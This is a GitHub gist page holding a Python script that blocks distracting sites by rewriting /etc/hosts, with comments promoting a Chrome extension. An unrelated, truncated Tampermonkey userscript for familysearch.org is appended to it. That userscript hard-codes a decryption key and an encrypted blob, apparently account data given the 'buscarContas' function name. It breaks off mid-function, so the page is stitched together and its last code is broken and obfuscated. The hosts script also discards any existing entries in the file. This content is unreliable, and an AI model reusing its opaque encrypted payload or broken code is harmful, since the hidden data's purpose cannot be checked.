Last active
December 29, 2024 00:26
-
-
Save anilshanbhag/33e8fadbe3860f36010de34d9570708c to your computer and use it in GitHub Desktop.
Script to block/unblock websites using /etc/hosts
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Greatest productivity script ever created. Adds whole bunch of entries to /etc/hosts | |
to block distracting sites. | |
To block sites, run: | |
sudo python3 concentration.py block | |
To unblock sites, run: | |
sudo python3 concentration.py unblock | |
Install the SuperFocus Chrome extension to track time, block sites and hide distractions | |
https://getsuperfocus.com/install/ | |
""" | |
import sys | |
lines = open('/etc/hosts').readlines() | |
lines = [line.strip() for line in lines] | |
# Finance sites | |
domains_0 = [ | |
'x.com', 'finance.yahoo.com', 'seekingalpha.com', 'economictimes.indiatimes.com', 'moneycontrol.com', 'cnbc.com', 'bloomberg.com', | |
'reddit.com', 'robinhood.com', 'asia.nikkei.com', 'fool.com', 'zerohedge.com', 'livemint.com', 'finchat.io', | |
] | |
# News sites | |
domains_1 = [ | |
'nytimes.com', 'snapchat.com', 'hindustantimes.com', 'scmp.com', 'similarweb.com', | |
'latimes.com', 'nypost.com', 'abs.twimg.com', 'liveuamap.com', 't.me', 'linkedin.com', 'instagram.com', 'wsj.com', | |
'retaildive.com', 'fiercevideo.com', 'fiercetelecom.com', 'news.ycombinator.com', 'thelayoff.com', 'windy.com' | |
] | |
# Entertainment sites | |
domains_2 = ['quora.com', 'youtube.com', 'twitch.tv',] | |
header = """## | |
# Host Database | |
# | |
# localhost is used to configure the loopback interface | |
# when the system is booting. Do not change this entry. | |
## | |
127.0.0.1 localhost | |
255.255.255.255 broadcasthost | |
::1 localhost | |
""" | |
if len(sys.argv) != 2: | |
print("Usage: sudo python3 concentration.py [block/unblock]") | |
sys.exit(1) | |
if sys.argv[1] == "block": | |
print("Block sites") | |
domains = domains_0 + domains_1 + domains_2 | |
elif sys.argv[1] == "unblock": | |
print("Unblocking sites") | |
domains = [] | |
block_list = [] | |
block_list += ['0.0.0.0 ' + domain for domain in domains] | |
block_list += [':: ' + domain for domain in domains] | |
block_list += ['0.0.0.0 www.' + domain for domain in domains if not domain.startswith('www.')] | |
block_list += [':: www.' + domain for domain in domains if not domain.startswith('www.')] | |
open('/etc/hosts', 'w').write(header + '\n'.join(block_list)) | |
print("Done") |
@wagmachado , does it actually works for family for current version?, it doesn't work for me.
With this, make sure to also install the SuperFocus Chrome extension
https://getsuperfocus.com/install/
https://chromewebstore.google.com/detail/superfocus-time-tracker-b/dboceidahklphhjpfbpnicodnbkoiokn
The SuperFocus extension is the ultimate one-stop productivity extension with three powerful features:
✅ Time Tracker: Discover & Track Your Browsing Habits
✅ Block Sites: Restrict Usage To Time Limit / Block Websites
✅ Hide Distractions: Minimize Distractions Like Algorithmic Feeds, etc.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
// ==UserScript==
// @name MASTER
// @namespace http://tampermonkey.net/
// @Version 0.1
// @description try to take over the world!
// @author You
// @match https://www.familysearch.org/
// @match https://www.familysearch.org/pt/
// @match https://www.familysearch.org/it/
// @grant none
// @require https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
// @require https://cdn.jsdelivr.net/npm/js-cookie@rc/dist/js.cookie.min.js
// @require https://cdn.jsdelivr.net/npm/simple-crypto-js@legacy/dist/SimpleCrypto.min.js
// ==/UserScript==
/**/
(function() {
'use strict';
var ID = 2003;
var divElement = document.createElement("div");
divElement.setAttribute("style","position:fixed;background:white;padding:20px;z-index:10000000000;bottom:5%;left:1%;border-radius:10px; box-shadow: 5px 4px 5px 0 rgba(0,0,0,0.14), 0 1px 10px 0 rgba(0,0,0,0.12), 0 2px 4px -1px rgba(0,0,0,0.3);")
divElement.setAttribute("id","contas")
divElement.setAttribute("onclick","buscarContas()")
const rgbasbhsd = "XABCD"
const rtyuiopzbmm = new SimpleCrypto(rgbasbhsd)
const sokdaspakm = "be5212575527cecf3d9b2e336309e9fa8f7742b4b7381226973bf0f54e666d41T0aac9NC8vfq/I0XitGvdPJTg8R7e1B4i1YHnplKBoLsX00Yzjo3fh66wJb8SrCwwpfZSnWpKS73bxHnAE7THg==62159e17ad974805cfe06b3288075c6d99d274c677500f13d6f02add32e29088";
var bodyElement = document.querySelector("body");
bodyElement.appendChild(divElement);
window.buscarContas = function (){
})();